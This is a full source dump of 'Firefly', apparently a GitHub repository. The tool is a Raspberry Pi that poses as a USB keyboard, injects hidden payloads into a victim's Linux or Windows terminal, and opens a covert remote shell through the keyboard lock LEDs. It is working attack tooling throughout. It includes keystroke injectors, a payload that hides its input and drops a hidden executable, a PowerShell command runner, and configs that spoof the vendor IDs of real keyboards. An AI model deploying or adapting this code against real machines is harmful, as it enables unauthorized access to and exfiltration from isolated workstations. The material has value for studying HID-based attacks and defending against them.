├── 1.setup ├── 2.payload ├── 3.firefly ├── DATA ├── cfg-Cherry_Stream_3.0 ├── cfg-Dell_USB_Entry_Keyboard ├── cfg-Zippy_Small_Keyboard ├── firefly.png └── kybd-descriptor.bin ├── ISSUES.md ├── LICENSE ├── LINKS.md ├── PAYLOAD ├── inject-gnome-terminal ├── inject-powershell ├── linux │ └── gnome-terminal │ │ └── python │ │ ├── payload │ │ └── payload.script └── win │ └── powershell │ ├── payload │ └── payload.script ├── README.md └── USAGE.md /1.setup: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -e /dev/hidg0 ] 4 | then 5 | echo "HID-gadget already exists." 6 | exit 1 7 | fi 8 | 9 | # variables and strings 10 | CWD=`dirname $0` 11 | CFGFS="/sys/kernel/config" 12 | [ -z "$MANUFACTURER" ] && MANUFACTURER="Yownas" 13 | [ -z "$SERIAL" ] && SERIAL=$(ifconfig -a | grep HWaddr | tail -1 | sed 's/^.*HWaddr \([^ ]*\) *$/\1/') 14 | [ -z "$IDVENDOR" ] && IDVENDOR="0x0525" 15 | [ -z "$IDPRODUCT" ] && IDPRODUCT="0xa4ac" 16 | [ -z "$PRODUCT" ] && PRODUCT="Firefly keyboard" 17 | [ -z "$CONFIG_NAME" ] && CONFIG_NAME="Configuration 1" 18 | MAX_POWER_MA=120 19 | PROTOCOL=1 20 | SUBCLASS=1 21 | REPORT_LENGTH=8 22 | DESCRIPTOR=${CWD}/DATA/kybd-descriptor.bin 23 | 24 | #modprobe libcomposite 25 | 26 | echo "Creating gadget." 27 | 28 | DEVICE=${CFGFS}/usb_gadget/firefly 29 | mkdir $DEVICE 30 | mkdir ${DEVICE}/configs/c.1 31 | mkdir ${DEVICE}/functions/hid.usb0 32 | echo " \_/" 33 | echo $PROTOCOL > ${DEVICE}/functions/hid.usb0/protocol 34 | echo $SUBCLASS > ${DEVICE}/functions/hid.usb0/subclass 35 | echo $REPORT_LENGTH > ${DEVICE}/functions/hid.usb0/report_length 36 | echo " _O_O_" 37 | cat $DESCRIPTOR > ${DEVICE}/functions/hid.usb0/report_desc 38 | echo " /_|^|_\\" 39 | mkdir ${DEVICE}/strings/0x409 40 | mkdir ${DEVICE}/configs/c.1/strings/0x409 41 | echo " \_|^|_/" 42 | echo $IDPRODUCT > ${DEVICE}/idProduct 43 | echo $IDVENDOR > ${DEVICE}/idVendor 44 | echo " \^/" 45 | [ "$SERIAL" = "0" ] || echo $SERIAL > ${DEVICE}/strings/0x409/serialnumber 46 | [ "$MANUFACTURER" = "0" ] || echo $MANUFACTURER > ${DEVICE}/strings/0x409/manufacturer 47 | [ "$PRODUCT" = "0" ] || echo $PRODUCT > ${DEVICE}/strings/0x409/product 48 | echo " -" 49 | echo $CONFIG_NAME > ${DEVICE}/configs/c.1/strings/0x409/configuration 50 | echo $MAX_POWER_MA > ${DEVICE}/configs/c.1/MaxPower 51 | ln -s ${DEVICE}/functions/hid.usb0 ${DEVICE}/configs/c.1 52 | 53 | # binding 54 | ls /sys/class/udc > ${DEVICE}/UDC 55 | 56 | echo "Done. :)" 57 | -------------------------------------------------------------------------------- /2.payload: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Usage: 2.payload [] 4 | 5 | # Default payload 6 | [ -z "$PAYLOAD" ] && PAYLOAD=linux/gnome-terminal/python 7 | 8 | ARG=$1 9 | CWD=`dirname $0` 10 | export PLPATH=${CWD}/PAYLOAD 11 | 12 | # Do we point to a payload? 13 | if [ -f "${PLPATH}/${PAYLOAD}/payload" -a -f "${PLPATH}/${PAYLOAD}/payload.script" ] 14 | then 15 | ${PLPATH}/${PAYLOAD}/payload.script ${ARG} & 16 | PID=$! 17 | else 18 | echo "Can't find payload/script for ${PAYLOAD}" 19 | exit 1 20 | fi 21 | 22 | 23 | cat </dev/null | sed 's/\(.\)\(.\)/ _\1_\2_/' 38 | /bin/echo -e '\033[1A' 39 | sleep 0.2 40 | done 41 | 42 | /bin/echo -e '\033[4B\033[?25h' 43 | echo "Injecting payload: Done." 44 | -------------------------------------------------------------------------------- /3.firefly: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import os 4 | import pty 5 | import select 6 | import sys 7 | import termios 8 | import time 9 | import tty 10 | 11 | try: 12 | is_a_tty = (os.environ['NOTTY'] != "1") 13 | except: 14 | is_a_tty = True 15 | 16 | try: 17 | flog_file = os.environ['FLOG'] 18 | flog = open(flog_file, "w") 19 | except: 20 | flog = False 21 | 22 | 23 | def shutdown(): 24 | if is_a_tty: 25 | # restore tty settings back 26 | termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_tty) 27 | # Toggle to victim (Send scroll-lock 0x47) 28 | # Maybe not needed, but should clean things up 29 | if sl: 30 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, 71, 0, 0, 0, 0, 0)) 31 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, 0, 0, 0, 0, 0, 0)) 32 | dev_w.flush() 33 | dev_r.close() 34 | dev_w.close() 35 | if flog: 36 | flog.close() 37 | sys.exit() 38 | 39 | dev_r = open("/dev/hidg0", "rb") 40 | dev_w = open("/dev/hidg0", "wb") 41 | 42 | if is_a_tty: 43 | # save original tty setting then set it to raw mode 44 | old_tty = termios.tcgetattr(sys.stdin) 45 | tty.setraw(sys.stdin.fileno()) 46 | 47 | nl=0 48 | cl=0 49 | sl=0 50 | 51 | last=2 52 | 53 | while 1: 54 | # Read a byte from stdin if there is one. 55 | r,w,e = select.select([ sys.stdin ], [], [], 0) 56 | if sys.stdin in r: 57 | d = os.read(sys.stdin.fileno(), 1) 58 | #if d: 59 | if d != "": 60 | c = ord(d) 61 | 62 | # Quit? (ctrl-Q) 63 | if c == 17: 64 | shutdown() 65 | 66 | # Send a character 67 | for i in xrange(8): 68 | if c%2: 69 | # Send one (caps-lock) 57? 70 | if last == 1: 71 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, 0, 0, 0, 0, 0, 0)) 72 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, 57, 0, 0, 0, 0, 0)) 73 | last=1 74 | 75 | else: 76 | # Send zero (num-lock) 83? 77 | if last == 0: 78 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, 0, 0, 0, 0, 0, 0)) 79 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, 83, 0, 0, 0, 0, 0)) 80 | last=0 81 | 82 | c>>=1 83 | time.sleep(0.005) 84 | 85 | dev_w.flush() 86 | 87 | time.sleep(0.01) 88 | 89 | # Toggle to victim (Send scroll-lock 0x47) 90 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, 71, 0, 0, 0, 0, 0)) 91 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, 0, 0, 0, 0, 0, 0)) 92 | dev_w.flush() 93 | sys.stdout.flush() 94 | 95 | # Flush up to the next Scroll_Lock 96 | while True: 97 | c=ord(dev_r.read(1)) 98 | # Num_lock - Zero 99 | if (c&1 and not nl) or (not c&1 and nl): 100 | nl = c&1 101 | # Caps_lock - One 102 | if (c&2 and not cl) or (not c&2 and cl): 103 | cl = c&2 104 | # Scroll_lock - toggle victim/attacker 105 | if (c&4 and not sl) or (not c&4 and sl): 106 | sl = c&4 107 | break 108 | 109 | sys.stdout.flush() 110 | # Read a character 111 | sl_flush = True 112 | o = 0 113 | for i in xrange(8): 114 | r,w,e = select.select([ dev_r ], [], [], 2) 115 | if dev_r in r: 116 | c=ord(dev_r.read(1)) 117 | else: 118 | print "ERR: Read timeout" 119 | shutdown() 120 | 121 | #c=ord(dev_r.read(1)) 122 | 123 | # Num_lock - Zero 124 | if (c&1 and not nl) or (not c&1 and nl): 125 | nl = c&1 126 | o>>=1 127 | 128 | # Caps_lock - One 129 | if (c&2 and not cl) or (not c&2 and cl): 130 | cl = c&2 131 | o>>=1 132 | o+=128 133 | 134 | # Scroll_lock - toggle victim/attacker 135 | if (c&4 and not sl) or (not c&4 and sl): 136 | sl = c&4 137 | sl_flush = False 138 | break 139 | 140 | sys.stdout.flush() 141 | 142 | # Check that we got all bits. (0 bits is ok == no message) 143 | if i > 0: 144 | # Yes 145 | if i == 7: 146 | sys.stdout.write(chr(o)) 147 | sys.stdout.flush() 148 | if flog: flog.write(chr(o)) 149 | # Too few bits (error) 150 | else: 151 | sys.stdout.write("*") 152 | sys.stdout.flush() 153 | 154 | # Wait up to the next Scroll_Lock 155 | while sl_flush: 156 | c=ord(dev_r.read(1)) 157 | # Scroll_lock - toggle victim/attacker 158 | if (c&4 and not sl) or (not c&4 and sl): 159 | sl = c&4 160 | break 161 | 162 | sys.stdout.flush() 163 | 164 | time.sleep(0.010) 165 | 166 | -------------------------------------------------------------------------------- /DATA/cfg-Cherry_Stream_3.0: -------------------------------------------------------------------------------- 1 | # Cherry 2 | # Stream 3.0 3 | export MANUFACTURER="cherry" 4 | export SERIAL="0" 5 | export PRODUCT="USB Keyboard" 6 | export IDVENDOR="0x046a" 7 | export IDPRODUCT="0x0023" 8 | -------------------------------------------------------------------------------- /DATA/cfg-Dell_USB_Entry_Keyboard: -------------------------------------------------------------------------------- 1 | # Dell 2 | # USB Entry Keyboard 3 | export MANUFACTURER="Dell" 4 | export SERIAL="0" 5 | export PRODUCT="Dell USB Entry Keyboard" 6 | export IDVENDOR="0x413c" 7 | export IDPRODUCT="0x2107" 8 | -------------------------------------------------------------------------------- /DATA/cfg-Zippy_Small_Keyboard: -------------------------------------------------------------------------------- 1 | # Zippy Technology Corp. 2 | # Sanwa Supply Inc. Small Keyboard 3 | export MANUFACTURER="0" 4 | export SERIAL="0" 5 | export PRODUCT="USB Keyboard" 6 | export IDVENDOR="0x099a" 7 | export IDPRODUCT="0x0638" 8 | -------------------------------------------------------------------------------- /DATA/firefly.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yownas/firefly/119be6eaf6da12e746a35f5c507880c2fa7dd498/DATA/firefly.png -------------------------------------------------------------------------------- /DATA/kybd-descriptor.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yownas/firefly/119be6eaf6da12e746a35f5c507880c2fa7dd498/DATA/kybd-descriptor.bin -------------------------------------------------------------------------------- /ISSUES.md: -------------------------------------------------------------------------------- 1 | # Firefly: 2 | 3 | # 1.setup 4 | 5 | Before the usb-gadget is activated the victim-machine tries to connect to the Raspberry PI, causing errors in the /var/log/messages on the host. 6 | 7 | ## 2.payload 8 | 9 | The inject-scripts should really be done more like a Rubber Ducky. But since I didn't want to make a bad implementation of a Rubber Ducky clone I went with the option of simply doing a bad implemenation. 10 | 11 | ## 3.firefly 12 | 13 | Make sure all the caps-/num-/scroll-lock keys are off before running. You might get stuck in a weird state otherwise. 14 | 15 | If the client get out of sync with the victim you can get stuck in a state where you can't exit without killing the process. 16 | 17 | ### CentOS 7 (and probably other linuxes as well): 18 | 19 | Don't forget that the python payload needs the python-xlib package to be installed. 20 | 21 | nautilus doesn't seem to like firely and give a lot of errors: 22 | ```` 23 | gnome-session: (nautilus:30070): Gtk-CRITICAL **: gtk_widget_event: assertion 'WIDGET_REALIZED_FOR_EVENT (widget, event)' failed 24 | ```` 25 | 26 | Xorg runs with high cpu load for a while even after the firefly-client has disconnected. 27 | 28 | ### Windows 10: 29 | 30 | Powershell can manipulate the keyboard leds, but I can't seem to make it work reliably. 31 | 32 | 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 yownas 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /LINKS.md: -------------------------------------------------------------------------------- 1 | More links that might be of interest: 2 | 3 | DEF CON 24 - Universal Serial aBUSe: Remote Physical Access Attacks 4 | https://www.youtube.com/watch?v=QLEpwra_9o8 5 | 6 | P4wnP1 is a highly customizable USB attack platform, based on a low cost Raspberry Pi Zero or Raspberry Pi Zero W. 7 | (Think I'll borrow some ideas from this project.;) 8 | https://github.com/mame82/P4wnP1 9 | -------------------------------------------------------------------------------- /PAYLOAD/inject-gnome-terminal: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import os 4 | import pty 5 | import select 6 | import sys 7 | import termios 8 | import time 9 | import tty 10 | 11 | dev_w = open("/dev/hidg0", "wb") 12 | 13 | map_plain = [ 14 | 0,0,0,0,'a','b','c','d','e','f','g','h','i','j','k','l', 15 | 'm','n','o','p','q','r','s','t','u','v','w','x','y','z', 16 | '1','2','3','4','5','6','7','8','9','0','\n',0,0,'\t',' ','-','=','[', 17 | ']','\\',0,';','\'','`',',','.','/' 18 | ] 19 | map_shift = [ 20 | 0,0,0,0,'A','B','C','D','E','F','G','H','I','J','K','L', 21 | 'M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 22 | '!','@','#','$','%','^','&','*','(',')',0,0,0,0,0,'_','+','{', 23 | '}','|',0,':','"','~','<','>','?' 24 | ] 25 | 26 | # Get a gnome-terminal 27 | 28 | # left-alt + f2 29 | dev_w.write("%c%c%c%c%c%c%c%c" % (0x04, 0x00, 0x3b, 0x00, 0x00, 0x00, 0x00, 0x00)) 30 | dev_w.flush() 31 | time.sleep(0.5) 32 | 33 | # "gnome-" 34 | dev_w.write("%c%c%c%c%c%c%c%c" % (0x00, 0x00, 0x0a, 0x11, 0x12, 0x10, 0x08, 0x2d)) 35 | dev_w.write("%c%c%c%c%c%c%c%c" % (0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)) 36 | # "termin" 37 | dev_w.write("%c%c%c%c%c%c%c%c" % (0x00, 0x00, 0x17, 0x08, 0x15, 0x10, 0x0c, 0x11)) 38 | dev_w.write("%c%c%c%c%c%c%c%c" % (0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)) 39 | # "al\n" 40 | dev_w.write("%c%c%c%c%c%c%c%c" % (0x00, 0x00, 0x04, 0x0f, 0x28, 0x00, 0x00, 0x00)) 41 | dev_w.write("%c%c%c%c%c%c%c%c" % (0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)) 42 | dev_w.flush() 43 | # Wait a sec to make sure gnome-terminal has time to start 44 | time.sleep(1) 45 | 46 | while 1: 47 | # Read a byte from stdin if there is one. 48 | r,w,e = select.select([ sys.stdin ], [], [], 0) 49 | if sys.stdin in r: 50 | c = os.read(sys.stdin.fileno(), 1) 51 | if c: 52 | if c in map_plain: 53 | #print "plain index: %d" % map_plain.index(c) 54 | #print ("%d %d %d %d %d %d %d %d" % (0, 0, map_plain.index(c), 0, 0, 0, 0, 0)) 55 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, map_plain.index(c), 0, 0, 0, 0, 0)) 56 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, 0, 0, 0, 0, 0, 0)) 57 | dev_w.flush() 58 | elif c in map_shift: 59 | #print "shift index: %d" % map_shift.index(c) 60 | #print ("%d %d %d %d %d %d %d %d" % (2, 0, map_shift.index(c), 0, 0, 0, 0, 0)) 61 | dev_w.write("%c%c%c%c%c%c%c%c" % (2, 0, map_shift.index(c), 0, 0, 0, 0, 0)) 62 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, 0, 0, 0, 0, 0, 0)) 63 | dev_w.flush() 64 | else: 65 | print "ERROR NOT FOUND %s" % c 66 | else: 67 | dev_w.close() 68 | break 69 | 70 | -------------------------------------------------------------------------------- /PAYLOAD/inject-powershell: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import os 4 | import pty 5 | import select 6 | import sys 7 | import termios 8 | import time 9 | import tty 10 | 11 | dev_w = open("/dev/hidg0", "wb") 12 | 13 | map_plain = [ 14 | 0,0,0,0,'a','b','c','d','e','f','g','h','i','j','k','l', 15 | 'm','n','o','p','q','r','s','t','u','v','w','x','y','z', 16 | '1','2','3','4','5','6','7','8','9','0','\n',0,0,'\t',' ','-','=','[', 17 | ']','\\',0,';','\'','`',',','.','/' 18 | ] 19 | map_shift = [ 20 | 0,0,0,0,'A','B','C','D','E','F','G','H','I','J','K','L', 21 | 'M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 22 | '!','@','#','$','%','^','&','*','(',')',0,0,0,0,0,'_','+','{', 23 | '}','|',0,':','"','~','<','>','?' 24 | ] 25 | 26 | # Get a powershell 27 | 28 | # gui + r 29 | dev_w.write("%c%c%c%c%c%c%c%c" % (0x08, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00)) 30 | dev_w.flush() 31 | time.sleep(0.5) 32 | 33 | # "powers" 34 | dev_w.write("%c%c%c%c%c%c%c%c" % (0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)) 35 | dev_w.write("%c%c%c%c%c%c%c%c" % (0x00, 0x00, 0x13, 0x12, 0x1a, 0x08, 0x15, 0x16)) 36 | dev_w.write("%c%c%c%c%c%c%c%c" % (0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)) 37 | # "helln" 38 | dev_w.write("%c%c%c%c%c%c%c%c" % (0x00, 0x00, 0x0b, 0x08, 0x0f, 0x0f, 0x28, 0x00)) 39 | dev_w.write("%c%c%c%c%c%c%c%c" % (0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)) 40 | dev_w.flush() 41 | # Wait a sec to make sure gnome-terminal has time to start 42 | time.sleep(2.5) 43 | 44 | while 1: 45 | # Read a byte from stdin if there is one. 46 | r,w,e = select.select([ sys.stdin ], [], [], 0) 47 | if sys.stdin in r: 48 | c = os.read(sys.stdin.fileno(), 1) 49 | if c: 50 | if c in map_plain: 51 | #print "plain index: %d" % map_plain.index(c) 52 | #print ("%d %d %d %d %d %d %d %d" % (0, 0, map_plain.index(c), 0, 0, 0, 0, 0)) 53 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, map_plain.index(c), 0, 0, 0, 0, 0)) 54 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, 0, 0, 0, 0, 0, 0)) 55 | dev_w.flush() 56 | elif c in map_shift: 57 | #print "shift index: %d" % map_shift.index(c) 58 | #print ("%d %d %d %d %d %d %d %d" % (2, 0, map_shift.index(c), 0, 0, 0, 0, 0)) 59 | dev_w.write("%c%c%c%c%c%c%c%c" % (2, 0, map_shift.index(c), 0, 0, 0, 0, 0)) 60 | dev_w.write("%c%c%c%c%c%c%c%c" % (0, 0, 0, 0, 0, 0, 0, 0)) 61 | dev_w.flush() 62 | else: 63 | print "ERROR NOT FOUND %s" % c 64 | time.sleep(0.001) 65 | else: 66 | dev_w.close() 67 | break 68 | 69 | -------------------------------------------------------------------------------- /PAYLOAD/linux/gnome-terminal/python/payload: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import os 4 | import pty 5 | import sys 6 | import select 7 | import termios 8 | import time 9 | import tty 10 | from subprocess import Popen 11 | from Xlib import X, XK, display 12 | from Xlib.ext import record, xtest 13 | from Xlib.protocol import rq 14 | 15 | if len(sys.argv) > 1: 16 | command = sys.argv[1] 17 | else: 18 | command = '/bin/sh' 19 | 20 | # open pseudo-terminal to interact with subprocess 21 | 22 | master_fd, slave_fd = pty.openpty() 23 | 24 | # use os.setsid() make it run in a new process group, or bash job control will not be enabled 25 | p = Popen(command, 26 | shell=True, 27 | preexec_fn=os.setsid, 28 | stdin=slave_fd, 29 | stdout=slave_fd, 30 | stderr=slave_fd, 31 | universal_newlines=True) 32 | 33 | ### 34 | 35 | loc_dpy = display.Display() 36 | rec_dpy = display.Display() 37 | 38 | def shutdown(): 39 | # Exit 40 | rec_dpy.record_free_context(ctx) 41 | sys.exit() 42 | 43 | def led_handler(reply): 44 | global c 45 | global cc 46 | 47 | if reply.category != record.FromServer: 48 | return 49 | if reply.client_swapped: 50 | #print("* received swapped protocol data, cowardly ignored") 51 | return 52 | if not len(reply.data) or reply.data[0] < 2: 53 | # not an event 54 | return 55 | 56 | if not len(reply.data): 57 | return 58 | 59 | data = reply.data 60 | while len(data): 61 | event, data = rq.EventField(None).parse_binary_value(data, rec_dpy.display, None, None) 62 | 63 | if event.type == X.KeyRelease: 64 | #print event.detail 65 | 66 | # Scroll_Lock - Toggle attacker/victim 67 | if event.detail == sl_key: 68 | loc_dpy.record_disable_context(ctx) 69 | loc_dpy.flush() 70 | return 71 | 72 | # Num_Lock - Zero 73 | if event.detail == nl_key and cc < 8: 74 | cc+=1 75 | c>>=1 76 | # Caps_Lock - One 77 | if event.detail == cl_key and cc < 8: 78 | cc+=1 79 | c>>=1 80 | c+=128 81 | # Return.. 82 | 83 | # Last bit? 84 | if cc >= 8: 85 | #sys.stdout.write(chr(c)) 86 | #sys.stdout.flush() 87 | os.write(master_fd, chr(c)) 88 | c=0 89 | cc=0 90 | return 91 | 92 | return 93 | 94 | #input = open("/dev/stdin", "rb") 95 | 96 | c = 0 97 | cc = 0 98 | sl_skip = 0 99 | 100 | nl_key = rec_dpy.keysym_to_keycode(XK.string_to_keysym('Num_Lock')) 101 | cl_key = rec_dpy.keysym_to_keycode(XK.string_to_keysym('Caps_Lock')) 102 | sl_key = rec_dpy.keysym_to_keycode(XK.string_to_keysym('Scroll_Lock')) 103 | 104 | nl = 0 105 | cl = 0 106 | sl = 0 107 | 108 | ctx = rec_dpy.record_create_context( 109 | 0, 110 | [record.AllClients], 111 | [{ 112 | 'core_requests': (0, 0), 113 | 'core_replies': (0, 0), 114 | 'ext_requests': (0, 0, 0, 0), 115 | 'ext_replies': (0, 0, 0, 0), 116 | 'delivered_events': (0, 0), 117 | 'device_events': (X.KeyPress, X.KeyRelease), 118 | 'errors': (0, 0), 119 | 'client_started': False, 120 | 'client_died': False, 121 | }]) 122 | 123 | while 1: 124 | # Will return after a record_disable_context 125 | rec_dpy.record_enable_context(ctx, led_handler) 126 | 127 | time.sleep(0.005) 128 | 129 | # Check if process has exited 130 | p.poll() 131 | if not (p.returncode is None): 132 | shutdown() 133 | 134 | # Read a byte from the command if there is one and send it. 135 | r, w, e = select.select([ master_fd ], [], [], 0) 136 | if master_fd in r: 137 | #d = input.read(1) 138 | d = os.read(master_fd, 1) 139 | 140 | c=ord(d) 141 | # Send a character 142 | for i in xrange(8): 143 | if c%2: 144 | xtest.fake_input(rec_dpy, X.KeyPress, cl_key) 145 | xtest.fake_input(rec_dpy, X.KeyRelease, cl_key) 146 | else: 147 | xtest.fake_input(rec_dpy, X.KeyPress, nl_key) 148 | xtest.fake_input(rec_dpy, X.KeyRelease, nl_key) 149 | rec_dpy.sync() 150 | c>>=1 151 | time.sleep(0.001) 152 | 153 | time.sleep(0.01) 154 | 155 | # Toggle to attacker 156 | xtest.fake_input(loc_dpy, X.KeyPress, sl_key) 157 | xtest.fake_input(loc_dpy, X.KeyRelease, sl_key) 158 | loc_dpy.sync() 159 | 160 | -------------------------------------------------------------------------------- /PAYLOAD/linux/gnome-terminal/python/payload.script: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | CWD=`dirname $0` 4 | ARG=$1 5 | 6 | (# Hide input 7 | echo 'echo -e "\e[8m"' 8 | echo "cd" 9 | # Dump payload 10 | echo "cat < .firefly" 11 | cat ${CWD}/payload 12 | echo EOF 13 | # Enable scroll-lock 14 | echo "xmodmap -e 'add mod3 = Scroll_Lock'" 15 | # Run payload 16 | echo "chmod 700 ./.firefly" 17 | if [ -z "$ARG" ] 18 | then 19 | echo "./.firefly &" 20 | else 21 | echo "./.firefly \"${ARG}\" &" 22 | fi 23 | echo sleep 1 24 | echo exit) | ${PLPATH}/inject-gnome-terminal 25 | -------------------------------------------------------------------------------- /PAYLOAD/win/powershell/payload: -------------------------------------------------------------------------------- 1 | [void] [System.Reflection.Assembly]::LoadWithPartialName("'System.Windows.Forms") 2 | $kb = New-Object -ComObject WScript.Shell 3 | $stp=0 4 | $cmd="" 5 | while (1) { 6 | 7 | $lc = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock') 8 | $ln = [System.Windows.Forms.Control]::IsKeyLocked('NumLock') 9 | $ls = [System.Windows.Forms.Control]::IsKeyLocked('Scroll') 10 | 11 | $d = 0 12 | $dc = 0 13 | # Read loop 14 | while (1) { 15 | $c = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock') 16 | $n = [System.Windows.Forms.Control]::IsKeyLocked('NumLock') 17 | $s = [System.Windows.Forms.Control]::IsKeyLocked('Scroll') 18 | if (-not $lc -eq $c) { 19 | $lc = $c 20 | $d/=2 21 | $d+=128 22 | $dc+=1 23 | } 24 | if (-not $ln -eq $n) { 25 | $ln = $n 26 | $d/=2 27 | $dc+=1 28 | } 29 | if ((-not $ls -eq $s) -or $dc -ge 8) { break } 30 | } 31 | # If we got all 8 bits, we need to wait for a scroll-lock here 32 | #$ls = [System.Windows.Forms.Control]::IsKeyLocked('Scroll') 33 | #while($dc -eq 8) { 34 | # $s = [System.Windows.Forms.Control]::IsKeyLocked('Scroll') 35 | # if (-not $ls -eq $s) { break } 36 | #} 37 | # But this seems to be broken... Just wait for a while...should work. 38 | 39 | Start-Sleep -m 100 40 | 41 | # Skip this unless we got all 8 bits 42 | if ($dc -eq 8) { 43 | # If we got a newline, run the command 44 | if ($d -eq 10 -or $d -eq 13) { 45 | # Run command 46 | $st=([text.encoding]::ASCII).GetBytes((iex $cmd)) 47 | $stp=0 48 | $cmd="" 49 | } else { 50 | $cmd+=[char]$d 51 | } 52 | } 53 | 54 | #write-host $cmd 55 | 56 | Start-Sleep -m 50 57 | 58 | # Write a byte (if we have any) 59 | if ($stp -le $st.length -and $st.length -gt 0) { 60 | $e=$st[$stp++] 61 | for($i=0;$i -lt 8;$i++) { 62 | if($e%2 -eq 1) { 63 | $kb.SendKeys("{CAPSLOCK}") 64 | [System.Windows.Forms.SendKeys]::SendWait(" ") 65 | }else{ 66 | $kb.SendKeys("{NUMLOCK}") 67 | [System.Windows.Forms.SendKeys]::SendWait(" ") 68 | } 69 | $e=[math]::floor($e/2) 70 | Start-Sleep -m 25 71 | } 72 | } 73 | # Hand over 74 | $kb.SendKeys("{SCROLLLOCK}") 75 | [System.Windows.Forms.SendKeys]::SendWait(" ") 76 | } 77 | -------------------------------------------------------------------------------- /PAYLOAD/win/powershell/payload.script: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | CWD=`dirname $0` 4 | ARG=$1 5 | 6 | ( 7 | # Hide input 8 | #echo "[console]::ForegroundColor = \"Black\"" 9 | #echo "[console]::BackgroundColor = \"Black\"" 10 | # Dump payload 11 | cat ${CWD}/payload 12 | # Exit powershell after payload exit 13 | echo #exit 14 | ) | ${PLPATH}/inject-powershell 15 | 16 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Firefly 2 | 3 | ![LOGO](https://github.com/yownas/firefly/blob/master/DATA/firefly.png) 4 | 5 | Firefly is a proof-of-concept tool to exfiltrate data from a computer by communicating via light, just like real life fireflies. 6 | 7 | Well, not really, it may not actually communicate with light but it acts like a usb keyboard and use the state of the caps-, num- and scroll-lock leds to get signals sent back to the device. It is not fast but what you get is a remote shell over wifi to a workstation that may not have network or that have blocked any other usb-devices than mice and keyboards. 8 | 9 | While this attack has been explored before... 10 | 11 | https://techblog.vsza.hu/posts/Leaking_data_using_DIY_USB_HID_device.htm 12 | 13 | ... and using devices to act as keyboards has been around for a while... 14 | 15 | https://www.arduino.cc/en/Reference/MouseKeyboard 16 | 17 | https://hakshop.com/products/usb-rubber-ducky-deluxe 18 | 19 | https://hakshop.com/products/bash-bunny 20 | 21 | https://www.youtube.com/watch?v=FPBzOaLbWhM 22 | 23 | ...I never seen any tool using the keyboard leds to get an interactive shell on the victim... So I made one. 24 | 25 | # Installation 26 | 27 | Download and install Raspbian Lite on a Raspbery PI Zero W. 28 | https://www.raspberrypi.org/downloads/raspbian/ 29 | 30 | Setup wifi. If you need to do this headless you can add an empty file called ssh.txt at the root of your Raspbian sd-card and a file called wpa_supplicant.conf that contain your wifi-settings. (Needs to have Linux line breaks) 31 | ```` 32 | country=US 33 | ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev 34 | update_config=1 35 | network={ 36 | ssid="YOUR_SSID" 37 | psk="YOUR_PASSWORD" 38 | key_mgmt=WPA-PSK 39 | } 40 | ```` 41 | 42 | (Don't forget the ssh.txt file.) 43 | 44 | Boot up and log in and get a proper root-shell. 45 | ```` 46 | sudo -i 47 | ```` 48 | 49 | Update and install useful commands: 50 | apt update 51 | apt upgrade 52 | apt install git rpi-update 53 | 54 | Current kernel, after an "apt upgrade" (2017-05-15), has some problem with hid-gadgets. 55 | If running "1.setup" later cause trouble you might need to downgrade to 4.4.49+ by running: 56 | ```` 57 | rpi-update 